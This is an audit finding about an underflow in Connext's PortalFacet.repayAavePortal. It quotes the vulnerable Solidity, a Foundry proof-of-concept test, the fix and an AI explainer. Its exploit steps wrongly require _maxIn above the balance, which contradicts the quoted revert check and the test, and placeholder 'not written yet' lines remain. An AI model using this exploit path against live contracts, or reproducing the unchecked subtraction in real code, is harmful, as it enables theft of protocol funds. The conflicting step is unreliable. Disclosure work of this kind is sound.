PortcalFacet.repayAavePortal() can trigger an underflow of routerBalances
The repayAavePortal function subtracts a user-controlled amount from the caller's router balance inside an unchecked block, so a caller can make the balance wrap around and become arbitrarily large. An attacker could then use that inflated balance to draw funds from the protocol.
Submitted by Ruhum, also found by 0x1f8b and WatchPug
The caller of repayAavePortal() can trigger an underflow to arbitrarily increase the caller’s balance through an underflow.
Proof of Concept
// Relevant code sections:
// PortalFacet.sol
function repayAavePortal(
address _local,
uint256 _backingAmount,
uint256 _feeAmount,
uint256 _maxIn,
bytes32 _transferId
) external {
uint256 totalAmount = _backingAmount + _feeAmount; // in adopted
uint256 routerBalance = s.routerBalances[msg.sender][_local]; // in local
// Sanity check: has that much to spend
if (routerBalance < _maxIn) revert PortalFacet__repayAavePortal_insufficientFunds();
// Need to swap into adopted asset or asset that was backing the loan
// The router will always be holding collateral in the local asset while the loaned asset
// is the adopted asset
// Swap for exact `totalRepayAmount` of adopted asset to repay aave
(bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut(
_local,
totalAmount,
_maxIn
);
if (!success) revert PortalFacet__repayAavePortal_swapFailed();
// decrement router balances
unchecked {
s.routerBalances[msg.sender][_local] -= amountIn;
}
// back loan
_backLoan(_local, _backingAmount, _feeAmount, _transferId);
}
// AssetLogic.sol
function swapFromLocalAssetIfNeededForExactOut(
address _asset,
uint256 _amount,
uint256 _maxIn
)
internal
returns (
bool,
uint256,
address
)
{
AppStorage storage s = LibConnextStorage.connextStorage();
// Get the token id
(, bytes32 id) = s.tokenRegistry.getTokenId(_asset);
// If the adopted asset is the local asset, no need to swap
address adopted = s.canonicalToAdopted[id];
if (adopted == _asset) {
return (true, _amount, _asset);
}
return _swapAssetOut(id, _asset, adopted, _amount, _maxIn);
}
First, call repayAavePortal() where _backingAmount + _feeAmount > s.routerBalances[msg.sender][_local] && _maxIn > s.routerBalances[msg.sender][_local]. That will trigger the call to the AssetLogic contract:
(bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut(
_local,
totalAmount,
_maxIn
);
By setting _local to the same value as the adopted asset, you trigger the following edge case:
address adopted = s.canonicalToAdopted[id];
if (adopted == _asset) {
return (true, _amount, _asset);
}
So the amountIn value returned by swapFromLocalAssetIfNeededForExactOut() is the totalAmount value that was passed to it. And totalAmount == _backingAmount + _feeAmount.
Meaning the amountIn value is user-specified for this edge case. Finally, we reach the following line:
unchecked {
s.routerBalances[msg.sender][_local] -= amountIn;
}
amountIn (user-specified) is subtracted from the routerBalances in an unchecked block. Thus, the attacker is able to trigger an underflow and increase their balance arbitrarily high. The repayAavePortal() function only verifies that routerBalance < _maxIn.
Here’s a test as PoC:
// PortalFacet.t.sol
function test_PortalFacet_underflow() public {
s.routerPermissionInfo.approvedForPortalRouters[router] = true;
uint backing = 2 ether;
uint fee = 10000;
uint init = 1 ether;
s.routerBalances[router][_local] = init;
s.portalDebt[_id] = backing;
s.portalFeeDebt[_id] = fee;
vm.mockCall(s.aavePool, abi.encodeWithSelector(IAavePool.backUnbacked.selector), abi.encode(true));
vm.prank(router);
this.repayAavePortal(_local, backing, fee, init - 0.5 ether, _id);
// balance > init => underflow
require(s.routerBalances[router][_local] > init);
}
Recommended Mitigation Steps
After the call to swapFromLocalAssetIfNeededForExactOut() you should add the following check:
if (_local == adopted) {
require(routerBalance >= amountIn);
}
LayneHaber (Connext) confirmed and resolved:
0xleastwood (judge) commented:
This is entirely valid and a really severe issue. If the local asset is the adopted asset,
AssetLogic.swapFromLocalAssetIfNeededForExactOut()will returnamountIn == totalAmount. So in order to overflowrouterBalances, the router just needs to provide_backingAmount + _feeAmountinputs that sum to exceed the router’s current balance.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The subtraction of a user-controlled amount from routerBalances happens inside an unchecked block, and the only prior check compares the balance against _maxIn rather than the actual amount subtracted.
Impact
A router could arbitrarily inflate its own balance, which the judge describes as a really severe issue; the report does not show a full theft chain beyond the inflated balance.
What the attacker needed
Caller is an approved portal router; local asset equals adopted asset
The fix
The project added a check after the swap call that requires the router balance to cover the amount subtracted when the local asset equals the adopted asset, and the issue was resolved.
How it was found
- Call repayAavePortal with _backingAmount + _feeAmount greater than the router balance and _maxIn also greater than the router balance.
- Set _local to the same value as the adopted asset so the swap helper returns the total amount as amountIn.
- The unchecked subtraction underflows, leaving the router balance larger than before.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract keeps a record of how much each router has deposited. When a router repays a loan, the contract subtracts the amount from that record. The subtraction was done without a safety check, so if the amount is larger than the record, the number wraps around to a huge value instead of failing. The attacker can then use that fake huge balance.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.